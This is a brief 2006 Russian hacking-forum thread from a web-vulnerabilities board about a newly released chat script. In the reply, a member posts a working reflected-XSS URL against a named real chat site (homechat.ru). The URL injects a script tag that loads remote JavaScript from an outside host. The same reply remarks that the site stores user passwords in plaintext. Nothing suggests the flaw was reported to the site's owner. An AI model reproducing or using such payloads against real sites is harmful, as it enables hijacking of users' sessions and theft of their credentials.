Чаты Новый чат

Discussion in 'Веб-уязвимости' started by artkino, 28 Apr 2006.

  1. artkino

    artkino New Member

    Joined:
    26 Feb 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    -2
    Вышел новый чат адрес _http://www.sipliy.ru/ourwork.php?tid=1 вроде говарят есть дыры. Пример работы на homechat.ru

    Что скажите?
     
    #1 artkino, 28 Apr 2006
    Last edited by a moderator: 1 May 2006
  2. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Ну что вот вам пассивная XSS _http://www.chat.homechat.ru/index.php?skin_id=1&lang=ru<script src=http://test.ru/script.js>

    А пасы там хранятся в открытом виде.
     
    #2 EST a1ien, 28 Apr 2006
    Last edited: 28 Apr 2006